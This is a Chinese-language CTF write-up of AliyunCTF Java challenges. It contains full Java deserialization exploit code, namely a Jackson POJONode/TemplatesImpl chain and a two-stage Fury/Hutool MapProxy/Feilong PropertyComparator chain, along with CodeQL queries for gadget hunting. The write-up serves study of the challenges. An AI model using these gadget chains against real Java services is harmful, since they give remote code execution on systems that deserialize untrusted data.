Skip to content

AliyunCTF 中的那些 Java(未完待续)

约 2332 字大约 8 分钟

CTF

2026-05-20

阿里作为国内 Java业务规模最大、技术生态最深、对Java社区贡献最强的公司 ,从我还没入门 java 安全就有所耳闻,体现在赛题上几乎都代表着当年难度最高的那一档,同时不少知识也在实战中得到发光发热,各种利用链的构造,RASP 绕过,security patch 的 bypass 。在今年的阿里云 CTF 中,我遗憾地选择了一个有希望但是最后还是棋差一招的题目,最后以一题之差没有晋级,恰好这段时间在准备面试(不过似乎除了业务相关,已经很少人再问这些了,可能我确实错过了以前的热潮,感觉现在不如去研究一些 ai 安全或者相关的前端安全等等),略微写一些个人觉得很难忘的题目,有一些是以前写的不完善的,不过现在有些题目看起来已经容易被 llm 或者新的漏洞解决了。

2023-bypassIt

最知名的一个利用方法,促成了后续许多链子的构造,比如联系到二次反序列化和 spring 反序列化链子等。

利用 Jackson 的 POJONode 的特性,在 toString 时会跟 Fastjson 一样,调用 getter 和 setter,那么就可以构造 BadAttributeValueExpException 这条链子,toString 后触发 TemplatesImpl

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;


public class Exp {
    public static void main(String[] args) throws Exception {
        patchJacksonWriteReplace();
        TemplatesImpl templates = templatesImplLocalWindows("calc");
        POJONode pojoNode = new POJONode(templates);
        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(bad, pojoNode);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(bad);
        oos.close();
        byte[] payload = baos.toByteArray();

        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(payload)));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        ois.readObject();
    }
    public static void patchJacksonWriteReplace() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass baseJsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = baseJsonNode.getDeclaredMethod("writeReplace");
        baseJsonNode.removeMethod(writeReplace);
        baseJsonNode.toClass(Thread.currentThread().getContextClassLoader(), null);
    }
    public static TemplatesImpl templatesImplLocalWindows(String command) throws CannotCompileException, IOException, NoSuchFieldException, InstantiationException, IllegalAccessException {
        String cm = "\""+command+"\"";
        return createTemplatesImpl(cm);
    }
    public static TemplatesImpl createTemplatesImpl(String cmd)throws CannotCompileException, IOException, IllegalAccessException, NoSuchFieldException{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Squirt1e");
        cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec("+cmd+");");
        byte[] code1 = cc.toBytecode();
        byte[] code2 = ClassPool.getDefault().makeClass("Squirtle").toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates,"_transletIndex",0);
        return templates;
    }
    public static void setFieldValue(Object obj1,String str,Object obj2) throws NoSuchFieldException, IllegalAccessException {
        Field field2 = obj1.getClass().getDeclaredField(str);
        field2.setAccessible(true);
        field2.set(obj1, obj2);
    }
}

2024-chain17

感觉直接被现在的 agent 秒了,暂时先不写

2025-jtools

这个题算是一个我入门 codeql 比较好的题目

环境搭建

反编译 JTools.jar

tools/codeql/tools/linux64/java/bin/java \
  -jar downloads/cfr.jar \
  JTools/JTools.jar \
  --outputdir src/jtools-decompiled \
  --silent true

反编译后共得到 4940 个 Java 文件,入口类位于:

src/jtools-decompiled/com/app/Server.java

创建 CodeQL 数据库

因为输入是反编译源码,不需要重新编译成功,所以使用 Java 的 --build-mode none

HOME=/CTF/jtools/codeql-home \
tools/codeql/codeql database create db/jtools \
  --language=java \
  --source-root src/jtools-decompiled \
  --build-mode none \
  --overwrite

这里设置 HOME=/CTF/jtools/codeql-home 是为了让 CodeQL 编译缓存写到工作区。否则默认会写 /root/.codeql,在一些受限环境里会遇到只读文件系统问题。

题目分析

fury 反序列化,

  1. requireClassRegistration(false),说明 Fury 允许反序列化未注册类。
  2. 反序列化完成后会调用返回对象的 toString()

如果没有 data 参数,服务会读取 /tmp/desc.txt 返回,所以最终命令执行可以把结果写到这个文件里,再直接访问根路径读取。

image-20260520111229835

思路是把可序列化类里的 get*set*toString 当 source,把 lookupreadObjectnewInstance 一类方法当 sink,然后看方法调用图上是否存在可达路径。

import java

class SerializableMethod extends Method {
  SerializableMethod() {
    this.getDeclaringType().getASupertype*() instanceof TypeSerializable
  }
}

class GetterOrToString extends SerializableMethod {
  GetterOrToString() {
    (
      this.isPublic() and
      this.hasNoParameters() and
      (
        this.getName().matches("get%") or
        this.getName().matches("is%") or
        this.hasName("toString")
      )
    )
  }
}

class DangerousMethod extends SerializableMethod {
  DangerousMethod() {
    exists(MethodCall call |
      call.getCaller() = this and
      (
        (
          call.getCallee().hasName("lookup") and
          call.getCallee().getDeclaringType().getASupertype*()
              .hasQualifiedName("javax.naming", "Context")
        )
        or call.getCallee().hasName("readObject")
        or (
          call.getCallee().hasName("newInstance") and
          call.getCallee().getNumberOfParameters() = 1
        )
      )
    )
  }
}

query predicate edges(Method a, Method b) {
  a.polyCalls(b)
}

from GetterOrToString source, DangerousMethod sink
where edges+(source, sink)
select source, source, sink,
  "$@.$@ can reach $@.$@",
  source.getDeclaringType(), source.getDeclaringType().getName(),
  source, source.getName(),
  sink.getDeclaringType(), sink.getDeclaringType().getName(),
  sink, sink.getName()

这一步能注意到两个方向:

  • Feilong 里有 com.feilong.core.util.comparator.PropertyComparator,行为和 CommonsBeanutils 的 BeanComparator 很像。
  • Hutool 里有 MapProxy,它是 InvocationHandler,可以通过代理接口的 getter 从 map 里取值,并做类型转换。

image-20260520111825936

getter 触发点:Feilong PropertyComparator

PropertyComparator.compare 的核心逻辑如下:

Object v1 = PropertyUtil.getProperty(o1, propertyName);
Object v2 = PropertyUtil.getProperty(o2, propertyName);

它是 Comparator,因此可以放进 PriorityQueue。JDK 反序列化 PriorityQueue 时会进行堆调整,进而触发:

PriorityQueue.readObject
  -> heapify
  -> siftDownUsingComparator
  -> comparator.compare
  -> PropertyComparator.compare
  -> PropertyUtil.getProperty

如果队列里的对象是一个 JDK 动态代理,PropertyUtil.getProperty(proxy, "wrapper") 会触发代理对象的 getter,例如 getWrapper()

Hutool MapProxy 的关键逻辑

cn.hutool.core.map.MapProxy 同时实现了 InvocationHandlerSerializable。它的 invoke 方法逻辑大致是:

if (method has no parameter && return type != void) {
    String methodName = method.getName();

    if (methodName.startsWith("get")) {
        field = removePreAndLowerFirst(methodName, 3);
    } else if (return type is boolean && methodName.startsWith("is")) {
        field = removePreAndLowerFirst(methodName, 2);
    }

    if (field is not blank) {
        if (!containsKey(field)) {
            field = StrUtil.toUnderlineCase(field);
        }
        return Convert.convert(method.getGenericReturnType(), get(field));
    }
}

也就是说,只要能找到一个接口:

  • 有无参 getter;
  • getter 返回值不是 void
  • 返回类型会让 Convert.convert(type, value) 进入二次反序列化逻辑;
  • getter 对应字段名可控;

就能让 MapProxy 从内部 map 取出攻击者准备的值并继续转换。

先找所有接口上的 getter:

import java

from Method m, Interface iface
where
  m.getDeclaringType() = iface and
  (m.getName().matches("get%") or m.getName().matches("is%")) and
  m.hasNoParameters() and
  m.getName().length() > 3 and
  not m.getReturnType().hasName("void")
select m, iface.getName(), m.getReturnType()

这个结果很多,需要继续筛选。MapProxy 还支持 setter 和字段名映射,所以可以优先找“getter + setter 成对出现”的接口:

import java

from Method getter, Interface iface
where
  getter.getDeclaringType() = iface and
  getter.getName().matches("get%") and
  getter.hasNoParameters() and
  not getter.getReturnType().hasName("void") and
  exists(Method setter |
    setter.getDeclaringType() = iface and
    setter.getName() = "set" + getter.getName().suffix(3) and
    setter.getNumberOfParameters() = 1 and
    setter.getReturnType().hasName("void")
  )
select getter, iface.getName(), getter.getReturnType()

image-20260520112243093

复现时可用的结果之一是:

cn.hutool.db.dialect.Dialect.getWrapper()
return type: cn.hutool.db.sql.Wrapper
field name: wrapper

Dialect 是接口,继承了 Serializable,并且有:

Wrapper getWrapper();
void setWrapper(Wrapper wrapper);

所以可以构造:

Map map = new HashMap();
map.put("wrapper", secondStageBytes);
MapProxy handler = new MapProxy(map);

Dialect p1 = (Dialect) Proxy.newProxyInstance(
    Dialect.class.getClassLoader(),
    new Class[]{Dialect.class},
    handler
);

PropertyComparator("wrapper") 取属性时,就会触发 Dialect.getWrapper(),进入 MapProxy.invoke

接下来只关心 sink:哪些地方会从可控参数进入 Java 原生反序列化。粗筛可以写:

import java

class DeserializeSinkCaller extends Method {
  DeserializeSinkCaller() {
    exists(MethodCall call |
      call.getCaller() = this and
      (
        call.getCallee().hasName("readObject") or
        (
          call.getCallee().hasName("readObj") and
          call.getCallee().getDeclaringType()
              .hasQualifiedName("cn.hutool.core.io", "IoUtil")
        ) or
        (
          call.getCallee().hasName("deserialize") and
          call.getCallee().getDeclaringType()
              .hasQualifiedName("cn.hutool.core.util", "ObjectUtil")
        )
      )
    ) and
    not this.getQualifiedName().matches("com.feilong.lib%")
  }
}

from DeserializeSinkCaller sink
select sink, sink.getDeclaringType()

image-20260520112526602

结合字节码可以确认 Hutool 的转换链:

MapProxy.invoke
  -> Convert.convert(method.getGenericReturnType(), map.get(field))
  -> ConverterRegistry.convert
  -> BeanConverter.convert
  -> BeanConverter.convertInternal
  -> ObjectUtil.deserialize(byte[])
  -> SerializeUtil.deserialize(byte[])
  -> IoUtil.readObj(...)
  -> ValidateObjectInputStream.readObject()

BeanConverter.convertInternal 里最关键的分支是:

if (value instanceof byte[]) {
    return ObjectUtil.deserialize((byte[]) value);
}

因此 map.put("wrapper", bytes) 里的 bytes 就是第二阶段 Java 原生反序列化数据。

CodeQL 查找二次反序列化 sink

上面的 sink 查询只能说明存在反序列化点,不能说明参数可控。可以再写一个数据流查询,把 InvocationHandler.invoke 的参数和 MapProxy.map.get(field) 作为 source,ObjectUtil.deserialize / IoUtil.readObj 的参数作为 sink。

import java
import semmle.code.java.dataflow.DataFlow
import DataFlow::PathGraph

module MapProxyToDeserializeConfig implements DataFlow::ConfigSig {
  predicate isSource(DataFlow::Node source) {
    exists(MethodCall call |
      call.getCaller().getDeclaringType().hasQualifiedName("cn.hutool.core.map", "MapProxy") and
      call.getCallee().hasName("get") and
      call.getCallee().getDeclaringType().hasQualifiedName("java.util", "Map") and
      source.asExpr() = call
    )
  }

  predicate isSink(DataFlow::Node sink) {
    exists(MethodCall call |
      sink.asExpr() = call.getAnArgument() and
      (
        (
          call.getCallee().hasName("deserialize") and
          call.getCallee().getDeclaringType()
              .hasQualifiedName("cn.hutool.core.util", "ObjectUtil")
        ) or
        (
          call.getCallee().hasName("readObj") and
          call.getCallee().getDeclaringType()
              .hasQualifiedName("cn.hutool.core.io", "IoUtil")
        )
      )
    )
  }
}

module MapProxyToDeserializeFlow =
  DataFlow::Global<MapProxyToDeserializeConfig>;

from MapProxyToDeserializeFlow::PathNode source,
     MapProxyToDeserializeFlow::PathNode sink
where MapProxyToDeserializeFlow::flowPath(source, sink)
select sink.getNode(), source, sink, "MapProxy map value reaches deserialize sink."

这条查询用于确认:MapProxy 从 map 中取出的值可以一路传到二次反序列化 sink。

image-20260520112641771

最终 payload 是两层:

第一层是 Fury 反序列化对象,用于触发 PriorityQueue

Fury.deserialize(data)
  -> PriorityQueue
  -> PropertyComparator("wrapper")
  -> proxy Dialect.getWrapper()
  -> MapProxy.invoke

第二层是塞在 MapProxy.map["wrapper"] 里的 Java 原生序列化数据:

MapProxy.map["wrapper"] = ObjectUtil.serialize(secondQueue)

secondQueue:
  PriorityQueue
  -> PropertyComparator("outputProperties")
  -> TemplatesImpl.getOutputProperties()
  -> TemplatesImpl.newTransformer()
  -> bytecodes 执行

整体调用链:

Server.lambda$main$0
  -> Fury.deserialize
  -> Object.toString
  -> PriorityQueue.readObject / heapify
  -> PropertyComparator.compare
  -> PropertyUtil.getProperty(proxy, "wrapper")
  -> Dialect.getWrapper()
  -> MapProxy.invoke
  -> Convert.convert(Wrapper.class, byte[])
  -> BeanConverter.convertInternal
  -> ObjectUtil.deserialize(byte[])
  -> IoUtil.readObj
  -> second PriorityQueue.readObject
  -> PropertyComparator.compare
  -> TemplatesImpl.getOutputProperties
  -> TemplatesImpl.newTransformer

payload ,这里粘贴朋友 Aecous 作者的了

package com.app;

import cn.hutool.core.map.MapProxy;
import cn.hutool.core.util.ObjectUtil;
import cn.hutool.db.dialect.Dialect;
import com.feilong.core.util.comparator.PropertyComparator;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {

        //二次反序列化数据
        Object templates1 = getTemplates(Files.readAllBytes(Paths.get("/Users/Aecous/Documents/program/java/JavaUtils/target/classes/com/test/calc.class")));
        Object templates2 = getTemplates(Files.readAllBytes(Paths.get("/Users/Aecous/Documents/program/java/JavaUtils/target/classes/com/test/calc.class")));

        PropertyComparator beanComparator = new PropertyComparator("outputProperties");
        PriorityQueue priorityQueue1 = new PriorityQueue(2,beanComparator);
        setValue(priorityQueue1,"size",2);
        Object[] t = {templates1,templates2};
        setValue(priorityQueue1,"queue",t);

        byte[] decode = ObjectUtil.serialize(priorityQueue1);

        //存入hashmap中
        HashMap hashMap = new HashMap();
        hashMap.put("wrapper",decode);
        MapProxy mapProxy1 = new MapProxy(hashMap);

        Dialect o = (Dialect)Proxy.newProxyInstance(Dialect.class.getClassLoader(), new Class[]{Dialect.class}, mapProxy1);
        Dialect o1 =(Dialect) Proxy.newProxyInstance(Dialect.class.getClassLoader(), new Class[]{Dialect.class}, mapProxy1);


//        //需要触发的getter
        PropertyComparator propertyComparator = new PropertyComparator("wrapper");
        PriorityQueue priorityQueue = new PriorityQueue(2,propertyComparator);

        setValue(priorityQueue,"size",2);
        Object[] objectsjdk = {o,o1};

        setValue(priorityQueue,"queue",objectsjdk);


//        String serialize = serialize(priorityQueue);
//        unserialize(serialize);

        String poc = furyserialize(priorityQueue);
        furyunserialize(poc);
    }

    public static void furyunserialize(String data){
        Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
        Object deserialize = fury.deserialize(Base64.getDecoder().decode(data));
//        result = deserialize.toString();
    }

    public static String furyserialize(Object data){
        Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
        byte[] serialize = fury.serialize(data);
        return Base64.getEncoder().encodeToString(serialize);
    }

    public static void unserialize(String exp) throws IOException, ClassNotFoundException {
        byte[] bytes = Base64.getDecoder().decode(exp);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    public static Object getTemplates(byte[] bytes) throws Exception {
        Templates templates = new TemplatesImpl();
        setValue(templates, "_bytecodes", new byte[][]{bytes});
        setValue(templates, "_name", "_");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());  //这里自己改呗
        return templates;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        return poc;
    }
}

2026-staircase

太痛了,后续再写,2026的题都挺复杂的,没有 llm 的话几乎做不了感觉

Reference

阿里云jtools详解及codeql分析调用链